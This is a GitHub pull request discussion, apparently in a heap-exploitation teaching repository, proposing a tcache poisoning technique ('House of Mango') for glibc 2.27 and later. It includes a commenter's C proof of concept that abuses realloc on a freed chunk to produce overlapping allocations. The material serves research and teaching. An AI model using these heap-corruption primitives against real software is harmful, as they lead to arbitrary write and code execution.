Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Tcache bins attack on 2.27 and later for arbitrary write #127

Open
wants to merge 3 commits into
base: master
Choose a base branch
from

Conversation

0xd3xt3r
Copy link
Contributor

@0xd3xt3r 0xd3xt3r commented Jun 21, 2020

This attack will give arbitrary write by Tcache list poisoning.

I propose the name House Of Mango.

This is just a PoC I will refine the code and comments readability once the idea is validated.

@Kyle-Kyle
Copy link
Contributor

Kyle-Kyle commented Jun 21, 2020

I think the idea is not very clear at the moment. I like the idea of bypassing double free protection by putting the same chunk into two different tcache. However, the current idea requires two different primitives: 1. size overwrite, 2. double free. And either of them can give us arbitrary write primitive on its own.
I think you can check out house_of_botcake and get some inspiration for improvement. The idea is similar, but it puts the same chunk into tcachebin and unsortedbin. The neat thing about that technique is it only needs a double free.

@0xd3xt3r
Copy link
Contributor Author

I have made some changes to the code now you only need double-free primitive. This attack could be thought of as another version of the house of botcake and could be little more flexible as you don't have to fill tcache.

@Kyle-Kyle
Copy link
Contributor

Actually, the new version doesn't use overwrite primitive but a UAF. Normal program won't realloc a chunk after it is freed.

@r4j0x00
Copy link

r4j0x00 commented Sep 9, 2020

very similar to https://faraz.faith/2019-10-12-picoctf-2019-heap-challs/#zero_to_hero

@mdulin2
Copy link
Contributor

mdulin2 commented Mar 5, 2021

Hey there, the one thing that sticks out to me is using the realloc function to exploit a double free. After seeing this, I played around with it for quite a while and realized that realloc can do a some interesting things:

  • If the chunk being asked for is the same size as the original chunk, we can infinitely get the same chunk back. This allows for the an infinite amount of pointers to point to the same memory. This is, of course, an unexpected use case. But, I feel this whole repository is just that haha.
  • Let's assume that we have freed this chunk once (so, it's in some bin) already and want to realloc it to cause a double free. If the chunk is being requested to realloc is SMALLER than the original, then we can get back the first half via the call to realloc and put the second half into another bin. Now, we have the FULL chunk in some bin, the other half of the realloc call in another bin and the first part of this chunk being used. This is a half UAF and a half double free!

When testing the second piece of functionality, I noticed that this works very well with tcache and smallbins! Then, kind of works because the unsorted bin validates the new size of the chunk, which means we can only overlap first half of the realloc chunk with this. Finally, the fastbins and largebins do not work because the chunk size is validated prior to removal.

@mdulin2
Copy link
Contributor

mdulin2 commented Mar 5, 2021

Below is a POC for the second point that I mentioned above. It would be interesting to add some quirks of realloc into this repository! I have also seen a fake chunk creates with realloc for a House of Spirit-like attack.

int main(){

	int a; 
	scanf("%d\n", &a);

	puts("Realloc double free exploitation with tcache.");
	puts("Allocate 0x70 sized chunk and put a chunk into the tcache.");
	// TCache sized chunk
	uint64_t* victim = malloc(0x70);

	printf("Victim address: %p\n", victim);

	// Free the chunk for the first time	
	free(victim);

	/*
	The 'victim' chunk is already in the tcache
	(depending on the version). So, we are going to call 'realloc' 
	on this chunk, which acts as a 'double free'.

	If we SHRINK get the same the size of the chunk via realloc, it will return 
	us the first part of the chunk which is already in the bin 
	(creating a  UAF) and the other half will go into another bin, 
	undetected to create a double free-like situation. 
	*/	
	puts("Double free tcache chunk with call to realloc.");
	puts("Realloc call not return the chunk to the allocator. Otherwise double free will be triggered."); 
	puts("Here, we will realloc 0x20 (0x30 sized chunk) to split our original 0x80 sized chunk.");
	// ---------- Vulnerability --------
	uint64_t* realloced_victim = realloc(victim, 0x20);
	printf("Realloced Victim: %p\n", realloced_victim);
	// -----------------------

	puts("Now, we have the first half of the tcache chunk in 'realloced_victim'."); 
	puts("And the second half within a different tcache bin."); 
	puts("All while the original chunk is still in the tcache.");

	puts("Get full chunk from the tcache bin");
	// Gets the chunk that we allocated originally and freed
	uint64_t* full_chunk = malloc(0x70);
	printf("Full Chunk: %p\n", full_chunk);

	puts("Get second half of the tcache chunk");
	// Gets the chunk that we split from the OG chunk
	uint64_t* split_chunk = malloc(0x40);
	printf("Split Chunk: %p\n", split_chunk);

	printf("Realloc chunk (%p) overlaps with the first 0x30 bytes of full_chunk (%p)\n", realloced_victim, full_chunk);
	printf("Split chunk (%p) overlaps the final 0x60 bytes of full_chunk (%p)\n", split_chunk, full_chunk);
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants